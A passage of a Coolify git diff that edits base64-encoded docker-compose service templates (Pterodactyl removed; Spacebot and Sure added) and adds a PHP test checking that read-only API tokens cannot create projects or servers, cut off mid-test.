ICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80" - }, - "pterodactyl-with-wings": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80, 8443" - }, "qbittorrent": { "documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io", "slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.", @@ -4404,6 +4331,25 @@ "minversion": "0.0.0", "port": "8989" }, + "spacebot": { + "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io", + "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.", + "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "ai", + "agent", + "anthropic", + "openai", + "discord", + "slack", + "llm", + "agentic" + ], + "category": "ai", + "logo": "svgs/spacebot.png", + "minversion": "0.0.0", + "port": "19898" + }, "sparkyfitness": { "documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io", "slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.", @@ -4548,6 +4494,22 @@ "minversion": "0.0.0", "port": "3567" }, + "sure": { + "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io", + "slogan": "An all-in-one personal finance platform.", + "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVJFXzMwMDAKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLWFwcC1zdG9yYWdlOi9yYWlscy9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vd2UtcHJvbWlzZS9zdXJlOjAuNi43JwogICAgY29tbWFuZDogJ2J1bmRsZSBleGVjIHNpZGVraXEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHZhbGtleToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXBvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTUUxfREFUQUJBU0U6LXN1cmV9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHZhbGtleToKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo4LWFscGluZScKICAgIGNvbW1hbmQ6ICd2YWxrZXktc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXZhbGtleTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAndmFsa2V5LWNsaSBwaW5nIHwgZ3JlcCBQT05HJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogICAgICBzdGFydF9wZXJpb2Q6IDNzCg==", + "tags": [ + "budgeting", + "budget", + "money", + "expenses", + "income" + ], + "category": "finance", + "logo": "svgs/sure.png", + "minversion": "0.0.0", + "port": "3000" + }, "swetrix": { "documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io", "slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.", diff --git a/tests/Browser/screenshots/.gitignore b/tests/Browser/screenshots/.gitignore deleted file mode 100644 index d6b7ef32c..000000000 --- a/tests/Browser/screenshots/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -* -!.gitignore diff --git a/tests/Feature/ApiTokenPermissionTest.php b/tests/Feature/ApiTokenPermissionTest.php new file mode 100644 index 000000000..44efb7e06 --- /dev/null +++ b/tests/Feature/ApiTokenPermissionTest.php @@ -0,0 +1,75 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); +}); + +describe('POST /api/v1/projects', function () { + test('read-only token cannot create a project', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'Test Project', + ]); + + $response->assertStatus(403); + }); + + test('write token can create a project', function () { + $token = $this->user->createToken('write-token', ['write']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'Test Project', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid']); + }); + + test('root token can create a project', function () { + $token = $this->user->createToken('root-token', ['root']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'Test Project', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid']); + }); +}); + +describe('POST /api/v1/servers', function () { + test('read-only token cannot create a server', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 